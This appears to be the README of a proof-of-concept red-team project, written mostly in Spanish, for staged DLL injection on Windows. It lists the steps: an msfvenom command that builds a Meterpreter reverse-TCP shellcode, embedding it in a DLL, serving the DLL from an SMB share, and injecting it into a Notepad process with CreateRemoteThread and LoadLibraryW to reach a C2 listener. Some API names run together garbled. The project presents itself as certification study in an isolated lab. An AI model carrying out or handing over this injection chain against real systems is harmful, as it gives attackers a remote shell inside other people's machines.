
Prueba de concepto de inyección de DLL por etapas escrita en C mediante las API de Win32 — desarrollada en un entorno de laboratorio aislado para el estudio de la certificación de red team (CRTO).
Prueba de concepto de inyección de DLL por etapas escrita en C usando APIs de Win32, desarrollada en un entorno de laboratorio aislado para el estudio de certificación de red team (CRTO).
⚠️ Aviso legal: Este proyecto fue desarrollado estrictamente en un entorno de laboratorio aislado con fines educativos, como parte de la investigación ofensiva de seguridad y el estudio de certificación (CRTO). No está pensado para usarse contra ningún sistema sin autorización escrita explícita. El uso no autorizado es ilegal y poco ético.
Una implementación de prueba de concepto de inyección de DLL por etapas en Windows, construida como parte de los estudios de certificación de red team. Este proyecto demuestra cómo un stager puede cargar remotamente un DLL malicioso en un proceso objetivo utilizando APIs nativas de Win32. Funciona mejor en un entorno de Active Directory que permita tráfico SMB dentro de la red interna; no se recomienda su uso a través de internet.
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>
phc.c)OpenProcessVirtualAllocLoadLibraryW desde Kernel32CreateRemoteThread que llama a LoadLibraryW, cargando el DLL desde un recurso compartido SMB remotomaindll.dll)DllMain se ejecuta automáticamente al recibir DLL_PROCESS_ATTACHVirtualAllocCreateThreadphc.exe → Abre el proceso objetivo → Asigna memoria en el proceso objetivo → Carga maindll.dll desde el recurso SMB mediante LoadLibraryW → DllMain se ejecuta → El shellcode se ejecuta dentro del proceso objetivo
CreateRemoteThread + LoadLibraryWDllMainProbado en Windows 10 en un entorno de laboratorio aislado. El listener del C2 estaba alojado en Kali Linux.